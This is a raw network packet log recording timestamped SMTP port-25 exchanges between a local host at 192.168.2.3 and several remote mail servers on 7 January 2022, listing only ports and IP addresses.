Jan 7, 2022 15:54:11.927644968 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927653074 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927695990 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927717924 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927730083 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927741051 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927750111 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927762985 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927774906 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927786112 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927787066 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927799940 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927810907 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927823067 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927825928 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927831888 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927845001 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927859068 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927859068 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927889109 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927901030 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927908897 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927908897 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927927971 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927938938 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927941084 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927953959 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927954912 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927964926 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927977085 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927989960 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928013086 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928040028 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928041935 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928056002 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928070068 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928071022 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928082943 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928095102 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928097010 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928103924 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928117990 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928131104 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928154945 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928189039 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928215981 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928229094 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928276062 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928287983 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928289890 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928319931 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928329945 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928353071 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928354979 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928366899 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928379059 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928396940 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928410053 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928421974 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928433895 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928436995 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928447008 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928456068 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.928462029 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928473949 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.928487062 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929394960 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929406881 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929419994 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929431915 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929445028 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929455042 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929466009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929476976 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929488897 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929521084 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929553032 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929600954 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929635048 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929650068 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929714918 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.929727077 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.943785906 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.943805933 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.943943024 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:11.951894999 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.951914072 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.951925993 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.951937914 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.951950073 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.951961040 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.951972008 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952047110 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952059031 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952069998 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952081919 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952094078 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952207088 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952219009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952229023 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952239990 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952250957 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952261925 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952274084 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952285051 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952296972 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952307940 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952318907 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952356100 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952368021 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952399969 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952411890 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952425003 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952439070 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952567101 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952581882 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952591896 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952603102 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952718973 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952760935 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952774048 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952785015 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952797890 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952811956 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952822924 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952836037 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952862978 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952965975 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952979088 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.952991009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953002930 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953013897 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953026056 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953037977 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953047991 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953058958 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953074932 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953176022 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953186035 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953198910 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953304052 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953332901 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953353882 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953433037 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953445911 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953536034 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953563929 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953578949 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953763008 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953833103 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953844070 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953851938 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953862906 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953871012 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.953883886 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954010963 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954039097 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954081059 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954092026 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954199076 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954366922 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954379082 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954485893 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954502106 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954559088 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954575062 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954646111 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954659939 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954763889 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954775095 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954787016 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954838991 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954967022 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954978943 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.954991102 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955043077 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955054045 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955065012 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955163956 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955176115 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955188036 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955221891 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955234051 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955245972 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955318928 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955359936 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955370903 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955399036 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955441952 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955454111 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955483913 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955498934 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955519915 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955530882 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955543041 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955554008 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955566883 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955579042 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955650091 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955662012 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955673933 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955697060 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955708981 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955720901 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955732107 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955744028 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955754995 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955765963 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955776930 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955787897 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955800056 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955811024 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955825090 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955894947 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955907106 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955928087 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955940962 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955952883 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955964088 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955976009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955987930 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.955997944 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956010103 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956021070 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956032991 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956043959 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956054926 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956079960 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956118107 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956156015 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956202030 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956214905 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956226110 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956239939 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956324100 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956336975 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956363916 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956376076 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956387997 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956401110 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956413984 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956427097 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956437111 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956449032 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956522942 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956535101 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956546068 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956568956 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956581116 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956592083 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956604004 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956614971 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956624985 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956635952 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956650019 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956660986 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956671953 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956682920 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956695080 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956705093 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956720114 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956731081 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956743002 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956753969 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956764936 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956799984 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.956811905 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.985743046 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.985780001 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.985956907 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:11.985990047 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:11.986391068 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:11.991530895 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.018048048 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.027885914 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:12.028038025 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:12.028083086 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.028182030 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:12.028213978 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:12.028292894 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.070137024 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.070702076 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.112442017 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.112463951 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.163489103 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.261524916 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.303278923 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.303337097 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.303729057 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.304025888 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.330616951 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.331949949 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.345673084 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.345747948 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.346014977 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.346040964 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.358567953 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.358599901 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.358704090 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.359026909 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.385410070 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.385510921 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.385526896 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.385588884 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.385632992 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.385658979 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.388016939 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.388071060 CET	25	49778	194.152.32.75	192.168.2.3
Jan 7, 2022 15:54:12.388117075 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.388149977 CET	49778	25	192.168.2.3	194.152.32.75
Jan 7, 2022 15:54:12.412292004 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412331104 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412355900 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412383080 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412410975 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412435055 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412462950 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412489891 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.412579060 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.412630081 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.412662029 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.412861109 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439290047 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439332962 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439371109 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439383030 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439398050 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439413071 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439424992 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439440966 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439450026 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439471960 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439476013 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439500093 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439502954 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439515114 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439528942 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439533949 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:12.439554930 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:12.439558029 CET	49776	25	192.168.2.3	108.177.119.26
